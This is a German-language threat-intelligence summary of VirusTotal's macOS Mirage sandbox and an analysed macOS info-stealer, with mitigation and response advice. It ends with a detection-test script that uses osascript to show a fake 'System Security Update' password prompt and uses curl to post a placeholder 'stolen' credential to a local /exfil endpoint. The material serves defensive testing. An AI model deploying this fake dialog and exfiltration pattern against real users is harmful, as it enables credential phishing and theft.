macOS Mirage: Dynamische Analyse und Sigma-Erkennungen für Apple Silicon

Zusammenfassung

VirusTotal hat macOS Mirage eingeführt, eine neue dynamische Analyse-Sandbox, die speziell für Apple Silicon (ARM64) und macOS 26 entwickelt wurde. Die Plattform liefert hochpräzise Verhaltens-Telemetriedaten und automatisierte Sigma-Erkennungen, um sich entwickelnde macOS-Bedrohungen wie Info-Stealer und Anmeldeinformationen-Phishing-Malware zu identifizieren. Sie adressiert den Übergang von Intel- zu ARM64-Systemen und arbeitet gegen moderne Schutzmechanismen wie die Systemintegritätsschutz (SIP).

Untersuchung

Der Bericht analysiert ein macOS Info-Stealer Sample, unix51436504, das AppleScript für Phishing und mehrstufige Nutzdaten für Persistenz und Datendiebstahl verwendet. Forscher verfolgten die Malware von einer anfänglichen täuschenden Passwortaufforderung über von LaunchDaemons basierte Persistenz bis hin zur Exfiltration von Daten aus Keychain, Safari und Apple Notes. Die Sandbox hat diese Verhaltensweisen erfolgreich relevanten MITRE ATT&CK-Techniken mithilfe von Sigma-Regeln zugeordnet.

Minderung

Obwohl keine spezifischen Software-Patches angeführt werden, betont der Bericht die Notwendigkeit, unautorisierte Zugriffe auf sensible Orte wie Keychain-Datenbanken, TCC.db und LaunchDaemons zu überwachen. Organisationen sollten die verdächtige Nutzung von Befehlszeilenprogrammen wie osascript, curl und ditto erkennen, wenn diese in ungewöhnlichen Kontexten ausgeführt werden. Auch das Überwachen von mehrstufigen Ausführungsmustern und unerwarteten Dateiänderungen in /tmp/ oder den Home-Verzeichnissen der Benutzer ist entscheidend.

Reaktion

Wenn diese Verhaltensweisen erkannt werden, sollten Ersthelfer das betroffene macOS-Gerät sofort isolieren, um zusätzliche Datenexfiltration zu verhindern. Untersuchen Sie Persistenzmechanismen mit besonderem Augenmerk auf /Library/LaunchDaemons und benutzerbezogene LaunchAgents. Führen Sie eine umfassende Überprüfung der Keychain-Daten, Browser-Anmeldedaten und SSH-Schlüssel auf mögliche Kompromittierungen durch und setzen Sie alle offengelegten sensiblen Anmeldedaten zurück.

Simulatorausführung

• Angriffsgeschichte & Befehle: Ein Angreifer zielt darauf ab, Benutzeranmeldedaten zu sammeln, indem er einen überzeugenden, aber gefälschten Systemdialog präsentiert. Der Angreifer verwendet osascript um ein macOS-Dialogfeld auszulösen. Um die spezifische Logik der Erkennungsregel nachzuahmen (die auf einen spezifischen Tippfehler ‚passwen‘ achtet), wird das Skript bewusst diese Zeichenfolge verwenden. Sobald der Benutzer das gefälschte Passwort „übermittelt“, verwendet das Skript curl um die erfassten Daten an einen Remote-Listener zu senden und die Exfiltrationsphase eines Info-Stealers zu simulieren.

• Regressionstestskript:

  #!/bin/bash
  # Simulation von macOS Info-Stealer Anmeldeinformationen-Phishing
  
  # 1. Den gefälschten Dialog auslösen (entspricht Indikator1 und Indikator2)
  # Hinweis: 'passwen' wird verwendet, um die spezifische Logik in der Erkennungsregel auszulösen
  osascript -e 'set passwen to display dialog "System Security Update: Please enter your macOS password to continue" default answer "" with icon caution'
  
  # 2. Simulation der Exfiltration über curl (entspricht Indikator3)
  # Wir simulieren das Senden der "gestohlenen" Zeichenfolge an einen lokalen/remote Endpoint
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] Simulation complete. Check SIEM for alerts."

• Bereinigungskommandos:

  # Es wurden keine permanenten Dateien während dieser Simulation erstellt.
  # Falls temporäre Dateien zur Datenstaging verwendet wurden, würden sie hier entfernt werden.
  rm -f /tmp/stolen_creds.txt